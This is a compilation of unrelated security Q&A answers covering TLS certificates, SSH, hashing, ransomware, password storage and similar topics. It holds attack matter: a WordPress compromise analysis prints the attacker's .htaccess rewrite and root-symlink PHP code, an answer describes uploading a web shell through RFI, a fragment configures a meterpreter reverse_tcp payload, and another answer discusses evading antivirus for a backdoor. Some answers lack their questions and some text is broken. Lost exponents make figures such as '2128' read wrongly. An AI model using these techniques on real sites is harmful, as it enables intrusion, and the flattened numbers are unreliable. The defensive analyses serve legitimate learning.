What are the risks of using a self-signed SSL certificate over the internet for a b2b connection compared to using a CA cert?

In your scenario most risks are associated with certificate management, because self-signed certificate offers zero manageability. For instance, certificate replacement, update, revocation. The lack of manageability leads to increased security risks.

For example, you use self-signed certificates for b2b communications. Internet-connected endpoints are more vulnerable to different attacks and there is quite big chance that the certificate/key is leaked/compromised. This can be a vulnerability in web app software, web server, OS, etc..

In order to replace the certificate, you will have to inform your partners about the incident, ask them to remove old certificate and install new self-signed certificate to their trust store. This process is very slow and during this timespan your partners will trust your compromised certificate, because of this delay.

When deploying standard PKI solution, it is easier to provide root certificate's adequate security level, because attack surface is very tiny. CA is not connected directly to internet and has very limited access within private network. In this case, root CA compromise is very unlikely. And if your web server got compromised (you can't afford the same security level like in CA server) you just revoke the certificate and replace the certificate on web server on a fly. And partners won't experience security or outage issues.


Is the X-XSS-Protection HTTP header related to the anti-XSS filter in browser?

Is that header directly related to the anti-XSS filter in browser?

Yes.

The idea is that a value of 0 disables the filter, and 1 enables the filter. An additional mode directive may - and should - be used to completely block rendering of a page if an attack is detected.

In practice, not all browsers implement the header that way. Chrome for example does not allow enabling of the filter.

  Is [blocking without the header] a normal behaviour?

Yes, current versions of Chrome and IE enable the filter by default.


SSH key based login is not vulenerable to MiTM attack. Is it true?

First, a man in the middle attack can neither happen with key based nor with password based authentication if the client properly authenticates the server.

A man in the middle attack is possible if a password is used only if the client ignores the warning that the server fingerprint has changed. In this case the client would unknowingly create a connection to the attacker, which as the endpoint of the connection can read the plain password as entered by the user and then can forward the data to the original server.

If instead a key pair is used for authentication then the client does not provide the private key but only provides the proof that it owns the private key to the public key known by the server by signing some message. The message to be signed contains the session identifier of the connection which itself is a result of the key exchange and thus different for the connection between client and attacker and attacker and server. This means that the ownership proof given by the client to the attacker cannot be reused by the attacker as an ownership proof to the server and thus authentication against the server will fail.

Note that this is very similar to client certificate based authentication in TLS. Therefore see also Does mutual authentication have any impact on MiTM possibilities?.


How does a trojan like Trojan:JS/BlacoleRef.BV infect a website?

In your case it is likely the recent Plesk credentials leakage vulnerability, which has been mass-exploited to install Blackhole.

Plesk is always the first of the unwanted packages I uninstall on a new server. Trust my administration to a sack of random PHP? Don't think so...


In some very secure scenarios (I don't know if you really need to do this way) I have seen the following configurations:

Send the password by letter (not the securest way, but...).
Send half of the password by phone and the other half by e-mail.
Two different telephone operator spells parts of the temporary key.

I believe the second way is the best, but I believe the best secure/usability way of doing would be "resetting link" + "sms to the mobile number" (something the user have). You can always ask some data regarding the account if you want to add to the security "something the user know". Always, when giving a way to restore the key providing one you must oblige the user to change it the first time he uses it.

I am sure you can make up a solution starting from these points, but, as always, do not overkill if it is not necessary, most of the people tend to think his application needs to be NSA-LIKE-EXTRA-SUPER SECURE".


WS.Reputation.1 detects files and performs analysis on with data from Norton community of users (If you've installed Norton product, there is a checkbox requesting if you like to opt in to Norton community watch program'), the analysis are matched against the crowd data and a scoring are placed. If there's a low reputation score then therefore are likely to be security risks. The tech behind it are Norton's reputation-based security technology.

Excerpt from Norton:

  The reputation-based system uses "the wisdom of crowds" (Symantec’s tens of millions of end users) connected to cloud-based intelligence
  to compute a reputation score for an application, and in the process
  identify malicious software in an entirely new way beyond traditional
  signatures and behavior-based detection techniques.

As for in depth explanation of how the technology works and how it gets triggered. It relies on a number of factors (based on what I know so far.)

1. Newness
How new is the file observed in the community.

2. Digital Signature
It looks for signed files. Custom or home grown application should be digitally signed with class three digital certificates.

3. Heuristic
What exactly does the file procedure calls. Does it write to registry? Start parent-child processes? Accessing windows protected folder?

Something you want to consider for reducing the chance of being detected. That said I believe over here is not a place to discuss in detail about "bypassing" any technologies.  :)

What can you do as a tester or developer.
You might want to reduce Norton protection level settings to allow FP-averse conditions or test environment. And also Age & Prevalence settings to allow "new" unknown files.

Secondly as you're developing a test file there's no need to submit to the AV team as a false positive. Plus you're testing a backdoor so no way they are adding that to a whitelist. But of course you may do your part in perhaps providing better detections for future AV detections.


Bypassing HSTS and Public-key pinning with lookalike characters

I can see mitigations by having HSTS preloading with HSTS no_redirect, this idea of no_redirect would make the browser prevent an HTTP redirect for known HSTS websites.

A redirect is done by sending a HTTP response with code 302 or similar and the new location inside the Location header of the HTTP response. If a website is on the HSTS preload list the request for the original domain would already be done with HTTPS. This means that a successful TLS handshake need to be done before the HTTP request inside the TLS connection could be send and the HTTP response with the redirect could be received.

This means that in order to send the redirect the attacker would  need to intercept the initial TLS connection successfully (i.e. MITM attack) by using a trusted certificate and its private key for the domain the user tries to visit. Attempts to do this with some self-signed certificate or certificate not matching the hostname and hope that the user will just skip any certificate warnings will not work since with HSTS no option will be offered to skip certificate problems.

But, if the attacker has already access to such a trusted certificate (maybe by hacking a CA) then there is no need to issue a redirect in the first place, i.e. the attacker could just continue to serve a different HTTP response (with fake content) for the original domain the same as you propose with the redirect.

Thus, the proposed no_redirect attribute for HSTS would not actually provide additional security.


How are man-in-the-middle attacks actually implemented?

There are a large number of ways you could MitM on the internet, but it is so much more easier and reliable if on the same network (in my opinion).

The way I would do it over the web is trying to use a service someone has connected to (a website, application, proxy) the proxy is the most dangerous one as you control their traffic routing, which means you can serve up false https certs decode and be the man in the middle. or just generally mess with them.

a victim needs a certain level of understanding (none basically) in order to fall for such a weak attack.

when within a home network its alot more fun, inject the victim and router with arps and force control, rather than waiting for them to fall in your trap.

network = hunter like a tiger forcing, chasing your pray.
internet = hunter like a spider, waiting for the the pray to fall in your trap.


Does hashing a file from an unsigned website give a false sense of security?

So, if you're downloading a file from what is effectively an unauthenticated source, and validating it with a hash from the same source (or even another unauthenticated source), what is the real value of hashing the file?

The provided hash lets you double-check that the file you downloaded was not corrupted accidentally in transit, or that the file you downloaded from another source (a faster mirror) is the same as the file available for download at this website.

However, there is not really much additional security. A sufficiently skilled cracker can replace the file with a maliciously modified version and the hash with one that matches the modified file; or he can MITM the requests over the network and replace both the file requested with his own and the hash with his own.


Is IP whitelisting for webpage access secure enough?

First of all, make sure your Web site has all the necessary protection against typical XSS and CSRF threats, where a victim's browser, which sits on an IP address you've allowed to access the data, is tricked into revealing your data to a third-party.

Regarding IP ACL-based authentication in general, as long as it's only read access, you're probably fine with that. Nevertheless, it might be useful to know that under certain circumstances and given necessary preconditions, a motivated attacker can use BGP hijacking to impersonate your users for a relatively short period of time.

This method is somewhat easier to perform if an attacker is able to find out what source IP addresses are allowed to access the data; however, using methods similar to what have been discussed in this talk (video, slides, whitepaper), this requirement can be further lifted. (I'm the author of said whitepaper, so don't hesitate to ask for further clarification if you'd be willing to)

For most applications though, it's rather hypothetical, as it is unlikely that such a complex approach would be taken by an attacker, however, it heavily depends on how precious your data could be for a malicious person.

With respect to write access, IP whitelisting for TCP-based services in general should not be considered safe anymore, as a TCP connection can be successfully spoofed nowadays, given enough bandwidth and computational power on behalf of an attacker. However, using TLS is currently enough to mitigate this.

If only people from within your organization should ever be allowed to access the landing page, it might be a good idea to set up a proxy on the Intranet and to allow only Intranet addresses to access the data via that proxy. How the proxy authenticates on MC is more or less up to you. For an out-of-office access, a VPN could be set up, eliminating almost all the exposure to the general public (obviously except for browser-based attacks I've mentioned previously).


Does every hash value have an inverse value?

My question is: Does every hash value H have a value V?

  For example, given md5 hash value f2c057ed1807c5e4227737e32cdb8669 (totally random), can we find what it was from?

These are actually two very different questions: whether there is an input for each output, and whether we can find an input for each output.

For your first question: we do not know. For a given hash function, the number of possible inputs is a lot bigger than the number of possible outputs, so we would find it very surprising if the function was not surjective (i.e. if there was an output without any matching input). For instance, with MD5, there are 2128 possible outputs, and 218446744073709551616-1 possible inputs, so we expect that each output has, on average, about 218446744073709551488 corresponding inputs. It is rather implausible that there is an output with no corresponding input.

However, we do not know how to prove it. To a large extent, we expect that property to be very hard to prove for any concrete hash function (such a proof of surjectivity would not, per se, be a weakness of the function, but, handwavingly, the security of a hash function relies on the intractability of its structure with regards to that kind of analysis).

For your second question: we strongly hope that it is infeasible. This is what is called preimage resistance: for a given output y, it should not be computationally feasible to find a x such that h(x) = y. Even if it was mathematically proven that such an input must exist (it is not proven, but it is strongly suspected, as explained above), it should still be atrociously expensive to actually find it.

If the hash function is "ideal" then the best possible attack is luck: you try out possible inputs until a match is found. If the output has size n bits, then "luck" should work with an average effort of 2n; with n large enough (and n = 128 is large enough), this is way out of what can be done with existing computers. A hash function is said to be resistant to preimages if "luck" is still the best known attack.

It is known that MD5 is not ideally resistant to preimages, because an attack with effort 2123.4 has been found -- about 10 times faster than 2128, but still a long way into the realm of infeasibility, so that attack is theoretical only.

I would like to point out two things, though:

If I give you h(x) for an unknown x, but you have some idea about the x that I used (e.g. you know that x is a "password" that a human user could choose and remember), then you can try possible x values that match that idea. The actual average effort for finding a preimage to h(x) is the smaller of 2n and M/2, where M is the size of the space of possible inputs x. For a "raw" preimage attack, all sequences of bits are possible inputs, so M is huge and the cost is 2n. However, if, in a specific context, x is known to be taken out of a relatively small space, then finding the "right" x can be substantially faster.
As pointed out above, preimages are not supposed to be unique: for a given y, a large number of values x should exist, that hash to y. Thus, for a given output, you do not find "the" corresponding input, but "a" corresponding input, which may or may not be the "right" one.

And the third question ? Indeed, trying to make a complete map of inputs-to-outputs is yet something different.

As @Xander pointed out, the number of possible MD5 outputs (2128) is too large to be stored anywhere on Earth; it exceeds the cumulated size of all hard disks that have ever been built. However, if you could solve that storage issue, then it is possible to think about the cost of making a complete map.

If you use the "luck" attack on all 128-bit outputs independently, you may expect an overall cost of 2256 (2128 times a cost of 2128). However, you can do much better by handling all outputs simultaneously, i.e. trying out random (or sequential) inputs and simply populating your big table as you obtain the outputs. With effort 2128, you should get about 63% of your complete map, while the "independent luck" method would need an effort of a bit more than 2255 to achieve the same result.

Edit: as was pointed out by @Owen and @kasperd, the arguments on the number of inputs are not actually sufficient to induce surjectivity; the internal function structure matters. MD5 and SHA-1 are Merkle–Damgård functions, meaning that they are built as follows:

There is an inner pseudorandom permutation P: for an input block b of a given size (512 bits in the case of MD5 and SHA-1), Pb is a permutation of the space of sequences of exactly n bits (n = 128 for MD5, n = 160 for SHA-1).
A compression function is defined, as:

    f(b, x) = Pb(x) + x

That is, for block b, we apply the permutation corresponding to b on the second input x, and then we "add" x to the output of that permutation. (In the case of MD5 and SHA-1, that addition is done on a 32-bit word basis, but the details do not matter here.)
To process a complete input message m, the message is first padded with extra bits so that the total size becomes a multiple of the block size, and also encodes the original message length. The padded input is then split into successive blocks b0, b1, and so on. A register r is initialized to a conventional value of size n bits (the "IV", specified in the MD5 and SHA-1 standards). Blocks are then processed one by one: to inject block bi, we compute f(bi, r), and the output is the new value of r. When all blocks have been processed, r contains the complete hash function output.

The addition step in the compression function turns the pseudorandom permutation Pb into a pseudorandom function. A relevant consequence is that, for a given value b, f(b, x) is very unlikely to be surjective. In fact, we expect values f(b, x), for all 2n inputs x, to cover only about 63% of all possible 2n sequences of n bits.

This processing has interesting consequences. First, consider all inputs of size exactly 1 GB (the "traditional" gigabyte of exactly 1073741824 bytes): there are 28589934592 such sequences, i.e. a lot more than 2128. However, when applying MD5 on all these messages, they will all be padded with exactly one extra block (8589934592 = 16777216×512, so an extra block of size 512 will be appended), and, furthermore, this final block will be the same for all 1 GB inputs (it encodes the input length but is otherwise deterministic, with no randomness and no dependence on the values of the input bits). Let's call bz that final block. MD5 on a 1 GB input message m thus begins with a lot of processing on the first 16777216 blocks, resulting in a 128-bit value x, and the hash output MD5(m) is equal to f(bz, x).

Therefore, all 1 GB messages ultimately reduce to a single of the same compression function f(bz, x). Thus we expect the hash outputs to cover only about 63% of all 128-bit sequences. This example demonstrates that the argument on the number of inputs to the hash function is incomplete (though it gives the right idea).

Conversely, if we consider all messages of exactly 300 bits in length, then they will all be hashed as f(b, IV), with 2300 distinct blocks b. We thus have 2300 pseudorandom permutations Pb, all applied on the same 128-bit input (the IV), yielding 2300 128-bit results which are all, then, supposed to be uniformly distributed over the space of 128-bit values. Adding IV to all of them does not change that uniformity. In that case, the counting argument works and thus sujectivity becomes highly probable.

Edit 2: About the "63%". When you generate a random value, uniformly, in a space of size N, then the probability of hitting a given value x is 1/N; thus, the probability of not hitting a given value x is (N-1)/N.

Now try it N times: you generate N values randomly, uniformly and independently (in particular, you may generate several times the same value). For a given x, the probability of not being part of these N values is the probability of having been missed N times, i.e.:

    P = ((N-1)/N)N.

This can be approximated as follows:

    P = eN ln (1-1/N) = eN(-1/N + o(1)) = e-1+o(1)

Thus, with big values of N, the probability of any given value being missed approaches 1/e. Therefore, the expected coverage of the space of size N, with N random values, would be close to 1-(1/e). This is approximately 63.21%.


Accessing a hidden token file in a website using RFI?

"Open a shell" means that you upload code to the site that it will run, which will give you command access to the server. There are shells you can download from various sites to meet your needs (PHP, Java, etc.). You upload the shell using the same process you used for RFI.

The shell runs as the same user as the web service, so it should give you access to /var/www since that's typically the root directory for the webserver.


Can everyone see my Chrome passwords if they boot a live Linux distro?

Short answer: if your account has no password or you gave them access, i'm afraid so. But even the Live USB won't work if that's not the case. (guessable passwords aside)

  If that's so, then it's designed really badly!

Yes. Yes it would be. As you might've noticed, Google (Alphabet w/e) is somewhat skilled in making computers do what they want. That's why they try to make sure it is actually hard to steal the keys to your digital life.

Chrome browser used to use the OSses native cryptography interface for storing passwords as an encrypted blob.

As can be seen here, Chrome on OS X uses the Keychain for the master key. (The actual data has been moved to the browsers internal store in '16)

They use strong, publicly known encryption algorithm (3DES), that stood years of attack. There is no way we know of to attack these better than bruteforce. Which, at the current keylength, will take longer than the heat death of the universe if implemented properly.

Too bad it isn't implemented too well by google, despite arguably having one of the most active security departments in the world. If you can get into the account, everything's exposed. There's no way to set a master password.

They somehow thought it gave a false sense of security.
Because someone could install a keylogger there's no added benefit.

But using a phone, a simple pattern will stop your classmates from reading your messages. Not too secure, but preventing >90% of the abuse with minimal impact to user experience. The android devs understood, and i understand the tradeoff.

Luckily there's plenty of third-party plugins that do have a master password setting.


Unless you select a payload (e.g. set payload windows/meterpreter/reverse_tcp), there are no options to set since the multi handler does not have unique functionality of its own.


Why do apps with phone verification send the user a message, rather than have the user send one to them?

It's quite easy to send an SMS message that appears to come from the phone number of your choice without actually controlling that number. And so sending an SMS from a number doesn't verify your ID in the same way as receiving an SMS to a number.


Does typical Ransomware only 'attack' certain folders/filetypes

As far as I know typical ransomware, like the (in)famous Locky virus for example, encrypt files depending on their file extension and across all local and remote drives.

To break it down:

The ransomware will scan the system for

Local drives (System drive, secondary drive, USB drive and so on)
Remote drives (Network shares like samba, nfs and so on)
Files with certain, predefined file types (e.g.: .jpg, .avi, .doc)

This way no important OS files are touched but the attackers still have their 'hostages'.

If you want to know, which files on your system would be affected rootshell.be has written a batch script to estimate which files would be affected on your system. The currently used extensions which the script looks for are the ones Locky uses. Of course different ransomware can use different extensions or even work different like Petya. Petya works by overwriting the MBR and booting into a minimalistic own OS while the C:\ drive gets encrypted completely in background.

Sources (If you want further reading):

Malwarebytes Blog on Locky
TheHackerNews on Locky
TrendMicro on ransomware in general
Ransomware simulation script by rootshell.be


Use salt as identifier for crypted session id in database based authentication system for webapp

I replaced the primary-key of the Users-Table with an uuid instead of a big serial and used this as insensitive information.

The session-id at the client looks like ||.

With this I could minimized the session-lookup from > 1 sec to about 100ms.


Is it legal to start a private website for you and your friends to hack?

To the best of my knowledge, yes, it's legal.  Every anti-hacking law I'm aware of refers to unauthorized access, and if you've got permission to hack it, it's not unauthorized, is it?

Note that there are some things you'll need to watch out for.  Some jurisdictions prohibit the possession of "hacking tools" (akin to prohibiting possession of lockpicks, but less well-defined), and some techniques, such as packet spoofing or (D)DoS, can have collateral damage that would fall afoul of the law.

You'll also want to check your webhost's opinion of what you're doing.  They may not permit this because of possible effects on other customers; if you're hosting the website on your home connection, you might be violating your ISP's terms of service.

If you want to be completely safe, do this on a dedicated network that is isolated from the Internet entirely.  A cheap Ethernet switch and a Raspberry Pi or two can get you a setup you can play with for under $100.


Storing sensitive information for a short time, how should I encrypt it or do I even need too?

If someone gains access to your system while its running then even if you encrypt your data the attacker can simply use the same key to decrypt it. So in that case no security is added.

However, if an attacker is able to get physical access to the server and steals the storage medium then having the data encrypted would deny him access if the password is only stored in memory (and randomly created at bootup). You would have to be careful though that any files you store are stored immediately in encrypted form and never touch the harddrive because in that case they might still be recoverable.


You can use !SHA1:!SHA256:!SHA384 to disable all CBC mode ciphers. There are some non-CBC false positives that will also be disabled (RC4, NULL), but you probably also want to disable them anyway.

Note that while GCM and CHACHA20 ciphers have SHA* in their name, they're not disabled because they use their own MAC algorithm. The SHA* in their name is for the PRF, not the MAC


dealing with small businesses and security issues

No matter what size the business, in my experience the only three ways to get a provider to move on this are:

Financial: Tell them you'll take your business elsewhere - I understand this isn't possible here.
Regulatory: If they are dealing with personal information they must provide appropriate protection in most jurisdictions (eg DPA in the UK -  so the threat of a review by the ICO might work)
Reputational: this isn't meeting what most would class as good practice. You wouldn't want to recommend them to your friends and contacts would you? A threat of disclosure makes it a financial incentive for them - they risk losing business.

For now get them to agree in writing that they take full responsibility for your personal data being hacked/copied/tampered through substandard wireless controls :-)


Is assigning decrypted keys to a variable in application secure?

Yes, it does mean that the key will be stored in the application’s memory. Yes, there is a risk that malware (with sufficient privilege) can read it from there. This risk is hard to avoid — if you want to use the key, you need to put it in memory, just as you need to put your house key in your pocket after you lock the door.

This is usually not considered a big deal for one reason — if there is malware with root privileges on a computer it’s already game over anyway. There is no way to keep anything safe at that point. Even if you don’t decrypt the key, the malware could just read the key that is used for that decryption from wherever it is stored.

Here are three things you can do to mitigate the risk:

Use some kind of HSM. (Thanks to DRF for pointing this out.) This is the best approach, but the feasibility depends on what platform you are working on. Do note though, that malware with enough privilege to read other processes’ memory can probably use the HSM as well. So this is not bulletproof against a malware infection.
Minimize the time the key is in memory to shrink the attack window by overwriting the memory after you are done. (As MSalters points out, this might not be as straight forward as it sounds. E.g. in C++ the optimizer might remove a write that is not read, and in Java strings are imutable so they can not be overwritten.)
As Vitor suggests, mark the memory page the key is stored on as unswappable so that it is never written to disk.


It depends, the key on this is to ensure that the card data is not stored in any insecure (or generally readable mechanism). Vendors such as stripe.com, recurly.com and others have used JSON-P or other secure post technologies combined with one-time tokens to represent the transaction to avoid merchants processing actual card data. These work very similar to the method you describe & allow the zone for App-A to be classified as a lower compliance required level. To that end a post of the card data to App-B without storing or processing on App-A shouldn't be an issue.

Ensure, however, that on App-B you have a strong method to validate the source domain. The postMessage API itself isn't an end-all to allowing cross-origin data.


While the question is specifically about AngularJS the issue lies in the fact that anything that is completely controlled and executed on the client side cannot be trusted. For anything that is accepted from the client side MUST be validate on the server before use. That is the only way to feel relatively confident about the operation.

Modifying the $rootScope or ANY object on the client side is trivial as an activity. The easiest way to do it is to open a session of firebug and use the console tab's script runner section to arbitrarily change any field or add/remove any field in any object.

Let alone angular - it is possible to even override (or replace) some methods of the window or other built in objects using this technique.

So bottom line validate on the server do not trust operations and inputs that run in the client space.


Signature that can only be verified by author and recipient - without pre-shared key

As long as Bob keeps his private key secret you can simply encrypt everything which only Bob should see with Bobs public key. This also includes the signature, i.e. when sending a mail from Alice to Bob:

encrypt the mail with Bobs public key
make a detached signature for this mail using Alice private key
encrypt this detached signature using Bobs public key
include this encrypted signature with the mail

Since Bobs private key is needed to get back to the original signature and this key is still secret, Mallory will not be able to get the original signature and thus cannot validate it. Bob instead can verify the signature.

Of course the whole procedure depends on the idea that Mallory can at most get access to the original message sent from Alice to Bob and never to the original signature.

As for the requirement that Alice wants to keep a copy of the message: there are several ways to do this and I don't see that this requirement needs to be part of the process. But to not uselessly leak information she might want to refrain from using their widely known public key for this.


Yes there is, but not the reason you may think off directly. The problem is that your traffic is secure so your ISP can't see what you are sending, and if you are using just IPs, he won't even see whereto you are connecting (he will only see traffic flowing between you and your SSH server). The problem is that you need to take care of your DNS requests. If you connect to a site you will probably use UDP for performing a DNS request. UDP can't pass a SSH tunnel as it's connection oriented.

So this means that your DNS request is sent unencrypted and your ISP will be able to see it, therefor disclosing to which website you are connecting when using a domain name.


Why is Mozilla recommending predefined DHE groups?

I think the reason for using predefined groups is clearly answered at the page your reference:

  Instead of using pre-configured DH groups, or generating their own with "openssl dhparam", operators should use the pre-defined DH groups ffdhe2048, ffdhe3072 or ffdhe4096 recommended by the IETF in RFC 7919.  These groups are audited and may be more resistant to attacks than ones randomly generated.

I connection with the Logjam attack it was advised to not use pre-defined DH groups with 1024 bit or lower since this key size is considered in reach of today's attackers and it might be worth the effort for heavily used keys. But larger key sizes are not considered in reach of the attackers yet.


Hashing password multiple times with different random salts

The three methods you show are all weak; three hash function invocations will not do much good, in a context where salts matter (you use salts because you envision an attacker would could, at some point, get a glimpse of the hash values; and, in that case, you need the function to be a lot slower than that). In any case, homemade assemblies of cryptographic primitives rarely achieve decent security.

To answer your explicit question: the value of salt is that they are not reused. In your first proposal, the "salt" is really the concatenation of three distinct sub-salts (that you call "salt1", "salt2" and "salt3"). In the second proposal, the same mechanism is used, but the three sub-salts are identical, which is a reduction of the space of possible salts. On the one hand, a shorter space increases the probability of reuse. On the other hand, reuse of some of the sub-salts still allows for some shortcuts on the attacker side.

Anyway, it is pretty hard to assess the differences in security of two hashing methods when they are both weak. Do yourself a favour: use a real, decent, well-designed and reviewed password hashing function. In practice, this means bcrypt. And read this answer.


As a website admin I could see encrypted passwords. Is this ok?

For most purposes that is secure enough minus the logging.

Your server must have the plain text password at one point, whether it's signing up or logging in. In this case, the user is passing their password to the API through an HTTPS POST request, the server is verifying the password against a hashed and salted password with many salt rounds using bcrypt and ideally generating a JWT after authentication. There is no way for an outsider (or you) to access the password. It was transfer securely through the internet, then it didn't leave your secured server (unless you log it). Do be diligent with logs; make sure no PPI including passwords are being logged (some companies do this and it really drives me nuts).

Notes:

The passwords are hashed as opposed to encrypted, in general and with bcrypt (though depending how deep you want to dive, you could argue bcrypt "does" encryption, but not for the reason you think). Always refer to "hashed" passwords because encryption refers to something entirely different.
Assuming the server is securely hosted (if using a 3rd party container service, this is probably true)
Assuming the password is given to the API through HTTPS and cannot be intercepted during transit. Depending on the application, you may want to go as far as certificate pinning to avoid MITM attacks through HTTPS.

By using bcrypt, you have already done your part in securely storing relatively passwords -high five-. You can also explore scrypt or Argon2.


Can the previewable option in file managers execute malware?

Yes, it is possible for previews to execute malicious code. Previews are created by checking the file type, and generating a thumbnail. For images, it resizes them. For videos, it decodes them, seeks into them, and creates a snapshot. For HTML files, it renders them with something like WebKit, and saves a snapshot. While previewers do not intentionally execute code, if any of these complex decoders have vulnerabilities, they can potentially be exploited.

This is a big problem with gstreamer, where a vulnerability in the NSF decoder lead to arbitrary code execution. A similar issue was found in its FLIC decoder. The issues stemmed from the fact that the decoder to use was chosen based on the file contents, rather than the file extension. Because of this, a file with the .mp3 extension could actually contain an NSF file. NSF is the NES audio format, and it is implemented as 6502 bytecode (yes, bytecode). NSF files are played by running it in an actual emulator and converting the output into playable audio. Unfortunately, emulators are complex, and that allowed an exploit entirely in 6502 bytecode to compromise an Ubuntu installation.

While gstreamer is a special case, the fundamental issue where a previewer is able to parse a wide variety of formats simply by navigating to a directory is a nasty security issue. Previews/thumbnails should be disabled if you are concerned about this threat.

A NSF file, named time_bomb.mp3, exploiting previews on an Ubuntu system to open xcalc:


Good method to store user content encrypted without storing the user's key in plaintext?

The usual approach is to use a master key for each account that does the actual encryption/decryption/integrity check, but that is never stored in plain text anywhere. This master key should be generated using a secure random number generator and there should be no way to retrieve its plain-text value.

You encrypt the master key with per-user keys derived from the user's credentials (you can use a key derivation function - use something stronger than PBKDF2 if possible, like scrypt or argon2 - on the user's password, or require that the user have some other sort of cryptographic key such as a TLS client certificate). Each user thus stores their own encrypted copy of the master key for their account. These encrypted master keys can be stored on server, because they are useless without the per-user keys to decrypt them. The per-user keys are never stored on the server in any form; they are either supplied by the client directly, or ephemerally derived from client-supplied data (such as a password), used, and then deleted.

If necessary (for your #4) you can also encrypt each account's master key with other keys, such as for your background worker process. Of course, then you've just passed the buck one step; where is the key / credential-that-generates-a-key stored for that worker? How is it protected such that an attacker can't just grab it, decrypt the corresponding master key(s), and go to town?

Password reset does become somewhat tricky. Merely changing a password is easy: get the old password, decrypt the master key, re-encrypt it with the new password, and save the newly-encrypted master key back to the database. Resetting a password when the old one is unknown is harder. The usual options there (aside from "you can't, not without losing all your encrypted data", which I assume is unacceptable) are to give the user one-time-use recovery keys that are way too long to be used for normal passwords but can be used to decrypt the master key at need (meaning you'd have one version of the master key encrypted with the standard per-user key, and one with the user's recovery key), and require one of those for a password reset, or to require that some other user authorized to access that data vouch for the user who is resetting their password, and use the vouching user's credentials to unlock the vouching user's copy of the master key, then encrypt it with the resetting user's key and store that newly encrypted master key (since you have multiple users per "account", this would work well enough as long as no accounts have everybody forget their passwords at the same time).


Potential attack vectors using Javascript to log in

So, the basic scenario you propose is to send credentials from a browser, to your web server.  So, we're dealing with HTML and Javascript and associated assets in the browser, and the communication is over HTTP/HTTPS.  These are the only components relevant to the specific function in question.

And in fact, the fact that you're using JavaScript to send the credentials to an API endpoint vs using an HTML form to post them back to a page is in itself materially irrelevent.

The only two points we're particularly worried about here are:

Is the content (HTML, JavaScript, assets) that is delivered to the browser genuine?  In other words, will the user get the HTML and JavaScript that we intended to send, that will in fact then send the credentials to our web server, and not to an attackers web server?
Are the credentials the user sends to our API secret and secure?

The way to answer "Yes" to both of these questions is HTTPS.  This means that not only must you use HTTPS to send the credentials to the API, but you must also use it to deliver the login page, the JavaScript for the login page, and any other assets on the login page to the user, so it can't be modified by an active attacker.

So, for this function of very limited scope, if you use HTTPS and HTTPS alone to secure the transmission of all data in both directions, it will be secure.


How did the hacker get access to my WordPress upload folder?

Once the file is uploaded to the server (exploiting a bug in a wordpress theme), the .htaccess is reconfigured in a way that any .txt file will be interpreted by the server as a .php script and it will follow symlinks.

The next step is the trick, he makes a symlink from / to Donnazmi.txt (2 ways)

The code isn't really complex, it prints an html form with the needed configs to run the exploit steps (you need to send a post request with Donnazmi as a post key to see it).

Code explained:

.htaccess reconfig:

$fvckem = 'T3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzDQpEaXJlY3RvcnlJbmRleCBzc3Nzc3MuaHRtDQpBZGRUeXBlIHR4dCAucGhwDQpBZGRIYW5kbGVyIHR4dCAucGhw';

This is a base64 encoded string, which translates into:

Options Indexes FollowSymLinks
DirectoryIndex ssssss.htm
AddType txt .php
AddHandler txt .php

So with that config:

$file = fopen(".htaccess","w+"); // open the file
$write = fwrite ($file ,base64_decode($fvckem));
// write the new config inside the file

Symlinks:

// 1. this is a link with the linux comand `ln`
system('ln -s / Donnazmi.txt');
// 2. this is a link php native function
$Donnazmi = symlink("/","Donnazmi.txt");

After the execution, each time he visits example.com/Donnazmi.txt he sees a list of the root directory of your server (Options Indexes tm).

So yes rebuild that machine. and check the software before installing it.


Blacklisting IP addresses -- when should we take action?

In order to answer your timing question it's important to understand how blacklists really help you. Blacklists are a great way to slow-down attackers and work great when triggered appropriately. Even a 30-minute blacklist can really have a huge impact against any type of automated attack. There are tools like fail2ban (link below) which can easily help you automate your blacklisting based on malicious behavior. Likewise there are tools like ipset (link below) which can be used with iptables to create large black-lists or white-lists than can easily block or allow tens of thousands of IP's with almost no impact on performance.

But back to your question on timing. Every site will have different needs and different requirements but as a general rule of thumb I group who I blacklist into three categories.

1.) IP's that will never have a need to connect to these systems

2.) IP's that are doing really targeted harmful stuff to these systems

3.) IP's that are scanning or doing something less harmful but are still annoying and may include a customers infected system.

and based on these groups (yours may be different) I set a variety of different block times. In this example I use the following block times based on the groups above.

1.) Forever

2.) 24-168 hours

3.) 30-60 minutes with 30 minutes being the most common.

This said I would also take into context what activity you are blacklisting. If an organization has a public website but I see attacks brute-forcing secure-shell or a VPN server (something that is NOT meant to be accessible to the general public) I don't mind blocking that type activity for much longer on that port or protocol. Likewise if I see an IP address really hammering a site with tens of thousands of attacks or repeated activities for days that IP gets blocked for a longer time.

So in some sense there is no cure-all answer to your question but I do see lots of very large name-brand companies blocking for at least 30 minutes to disrupt the automated attacks and I highly recommend doing this because it gets rid of a lot of the brute-force scanning that ultimately effects all sites.

Note: With the #2 group it is also wise to send an abuse e-mail to the bad actors ISP CC'ing the IP owner and/or domain owner. Frequently this helps resolve the problem after a few days and if not you can always promote that IP to group #1 if you have too.

Finally I would also recommend creating a white-list of your infrastructure and also of your key business partners or critical clients. Occasionally business partners do check the security of their supply chain and you may not want to auto-block these organizations if they decide to take a closer look at what you are doing.

I think it is very wise to actively blacklist bad actors especially since it's a very cost-effective defense but I wouldn't limit your blocking to a single type & time-frame if you can avoid it. That said if you do, 30-minutes seems to be the industry norm right now.

http://www.fail2ban.org/

http://ipset.netfilter.org/

http://ipverse.net/ipblocks/data/countries/

Hope this helps.


What to do about companies that refuse to fix their security vulnerabilities

Honestly some people need a wake up call before they take responsibility for their mistakes.

Give the company a set time,  like one month from today to release a patch.  If they do not comply post information about the vulnerability on the Full Disclosure Mailinglist.   By not making this information public then you are risking that organized crime will discover this flaw and exploit it for profit.

(I hate to say it,  but you have already given an attacker enough information to find this vulnerability.  There aren't many platforms with 40 million sales... The clock is ticking.)


Are duplicate SSH server host keys a problem?

The more a private key is shared, the less private it becomes. This is just a generic assessment: in some situations, this can be harmless. What it means in the specific case of SSH servers is that the security of these three servers becomes an all-or-nothing system:

Each server knows enough to impersonate any of the others.
If one of the server is hacked into, the attacker learns the shared private key and can impersonate any other of the servers.

Sharing the private key, on the other hand, can have real benefits:

As you observe, it happens "naturally" in some cases of VM cloning.
If routing is dynamic in some way (e.g. there is load balancing), a given client system may not always fall on the same machine for the same name; in that case, if the relevant nodes do not share the same private key, then the client will shout and scream and complain.
